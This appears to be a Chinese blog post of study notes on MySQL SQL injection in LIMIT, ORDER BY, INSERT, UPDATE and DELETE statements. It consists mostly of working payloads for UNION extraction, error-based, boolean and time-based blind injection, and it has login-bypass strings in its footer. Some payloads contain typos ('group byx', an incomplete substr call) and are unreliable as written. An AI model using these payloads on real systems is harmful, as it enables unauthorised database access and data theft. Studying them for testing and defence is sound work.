首页 > 其他分享 >5、其他位置的注入

5、其他位置的注入

时间:2023-07-27 11:35:51浏览次数:33  
标签:users 位置 --+ 其他 where id select 注入

limit注入

 

limit 注入,这个词是受注入位置 划分的。
where id=xx  后面的, 也可以叫做 where注入。


limit union注入

没有order by 的情况
SQL: select * from users where id <= 100 limit 1 union select 1,2,3 -- ,1


?p=1 union select 1,2,3 --+

?p=1 union select 1,(SELECT table_name from information_schema.TABLES WHERE table_schema=DATABASE() LIMIT 2,1),3 --+

查列数的方法:
?p=1 into @,@,@ --+

 

 

limit union 延时注入

没有order by的情况
if(substr(database() from 1 for 1)=0x73,sleep(5),0)

?p=1 union select 1,if(substr(database() from 1 for 1)='s',sleep(5),0),3--+

 


order by limit报错注入

mysql<5.6.6 的5.x系列版本
SQL: SELECT * FROM users WHERE id<10 order by id LIMIT 1,1
procedure analyse(extractvalue(rand(),concat(0x3a,user())),1); ?id=1 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1) --+

 


order by limit 报错延时注入

 

PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5,BENCHMARK(50000000,SHA1(1)),1))))),1);#

?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5,BENCHMARK(50000000,SHA1(1)),1))))),1);--+

 

 

order by 注入

SQL:select * from users where id <= 100 order by 1

 

 

报错注入

select * from users where id<=100 order by 1,updatexml(1,concat(0x7e,(select user()),0x7e),1);

 

 

order by的 case布尔盲注入

select * from users where id<=100 order by 1 rlike (case substr(database(),1,1) when 's' then 1 else 0x28 end)--+

 

 

order by的 if布尔注入

select * from users where id<=100 order by if((1=2),1,(select id from information_schema.tables));

 

 

insert 注入

 

常规注入(有回显)
222",(select schema_name from information_schema.schemata limit 1,1))--+

 

报错注入
222",(Select 1 from (Select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group byx)x))--

 

if延时注入
222",(if(substr(DATABASE()from 1 for 1)='m',SLEEP(5),1)));--+

 

update 注入

 

报错注入
update users set password='aaaxxxxb' where username='222' And (Select1from(Select
count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)x);--+

 

布尔注入
update users set password='ab'where username='ad2' And (if(1=2,1,0));--+

 

布尔延时
update users set password='xx' where username='ad2' And 1-(if((substr(database(),1,1)='s'),sleep(5),1));--+

 

delete 注入

 

报错注入

delete from users where username="ad2" And ((Select 1 from (Select
count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group
by x)x));-- a

 

布尔注入

delete from users where username="ad2" And (if((substr),0,1));-- a

 

布尔延时注入
delete from users where username="ad2" And 1-(if((substr(version(),1,1)='5'),sleep(5),1));-- a

 

标签:users,位置,--+,其他,where,id,select,注入
From: https://www.cnblogs.com/baiye1/p/17584438.html

相关文章

  • 网络安全之SQL注入基于DVWA平台
    弱口令SQL注入万能密码admin'--'admin'#万能用户名xxx'or1=1limit1---脱库一库:information_schema三表:schemata表:存放所有数据库信息tables表:存放所有表信息columns表:存放所有字段信息六字段:schemata表的schema_name字段:存放具体的数据库名......
  • js监视有没有被刷新后跳转其他页面
    js监视有没有被刷新window.addEventListener('beforeunload',function(event){//这里可以执行你想要的操作,例如询问用户是否确认离开页面window.location.href='https://mp.gnek257.autos/DIET/TR/US/LP2/index.html';})在beforeunload事件处理程序中使用window.......
  • 左侧导航右侧内容对应位置高亮
      <divclass="mc_aside_navboxmc_aside_navbox1show">    <ulclass="mc_aside_nav">      <liclass="mc_aside_li on">        111      </li>      <liclass="m......
  • 手机上vue页面返回时如何保持原来的位置
    1,问题的提出采用vue做手机评分页面的前端,页面显示多个评分项的分数和总分。每个评分项有个修改按钮,按下后弹出新的页面,用户填写分数后按提交按钮,则保存数据、关闭页面、回到前一页。此时,页面上显示的分数和总分会刷新,但是显示的页面位置未保留修改前的位置,而是回到了顶部显示。......
  • ggplot绘图修改坐标轴刻度线的位置
     001、dat<-data.frame(a<-1:20,b<-1:20)p<-ggplot(data=dat,aes(x=a,y=b))+geom_point()p##基础绘图 002、修改x轴刻度位置p+scale_x_continuous(breaks=seq(0,20,by=2))##修改x轴刻度位置 。 ......
  • python 指定位置创建文件夹
    如何在Python中指定位置创建文件夹介绍在Python编程中,创建文件夹是一个常见的任务。有时候我们需要在特定位置创建一个文件夹,以便存储和组织文件。本文将向刚入行的小白介绍如何使用Python在指定位置创建文件夹。整体流程下面是一个创建文件夹的示例流程,我们将通过一些简单的步......
  • positional encoding位置编码详解:绝对位置与相对位置编码对比
    目录前言WhyWhat绝对位置编码相对位置编码SinusoidalPositionEncodingComplexembeddingHow前言相信熟悉BERT的小伙伴对positionalencoding(位置表示)肯定都不会陌生~虽然positionalencoding只是BERT中比较小的一个组成部分,但是实际上却暗藏玄机。所以,今天呢我们就把positional......
  • 查看vca提取列在数据矩阵位置
    ismemeber可以查看一行在矩阵的位置。角度是6.2距离是0.6531。    ......
  • asp.net core之依赖注入
    依赖注入概念ASP.NETCore支持依赖关系注入(DI)软件设计模式,这是一种在类及其依赖关系之间实现控制反转(IoC)的技术。按照官方文档的描述:依赖关系注入通过以下方式解决了这些问题:使用接口或基类将依赖关系实现抽象化。在服务容器中注册依赖关系。ASP.NETCore提供了一......
  • NetCore 控制台 上下文 注入 dbcontext
    publicclassProgram{privatestaticTestDBContext_tContext;privatestaticvoidMain(string[]args){Startup();vardd=_tContext.User.Take(1).ToList();//e();}privatestaticvoidStartup()......